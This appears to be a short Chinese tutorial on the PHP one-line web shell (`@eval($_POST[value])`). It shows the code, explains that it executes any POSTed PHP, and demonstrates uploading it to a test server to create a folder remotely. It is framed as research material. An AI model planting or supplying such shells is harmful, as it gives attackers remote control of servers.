summary:将一句话脚本上传至php网站,然后传入参数就可控制php网站所在主机,asp网站同等道理。
0x01:代码
1 <?php 2 @eval($_POST[value]); 3 ?>
分析:
第2行:$_POST[value] 含义:url中post传入的参数名为value的参数
@eval() 含义:将value内容当做php代码一样执行,说白了就是被客户端插入的php语句。
0x02:演示
s1:本地创建一句话php文件,phps1.php,老黑添加了打印value值的代码
1 <?php 2 echo "post[value]=".$_POST[value]; 3 echo "<br />"; 4 @eval($_POST[value]); 5 ?>
s2:上传至php网站
s3:访问phps1.php,因为没哟传入post数据,所以页面显示为空
s4:重要时刻到了,老黑要在post中传入新建一个black的文件
s5:到php服务器下查看是否已经创建了black文件夹,创建成功。
0x03:原理非常简单,当然这只是用来测试的网站,真正的网站必然会将这么明显的一句话脚本给查杀掉,但是一句话脚本也有着更高级的变形,想研究的可以自己搜索。
PS:本文仅供研究学习。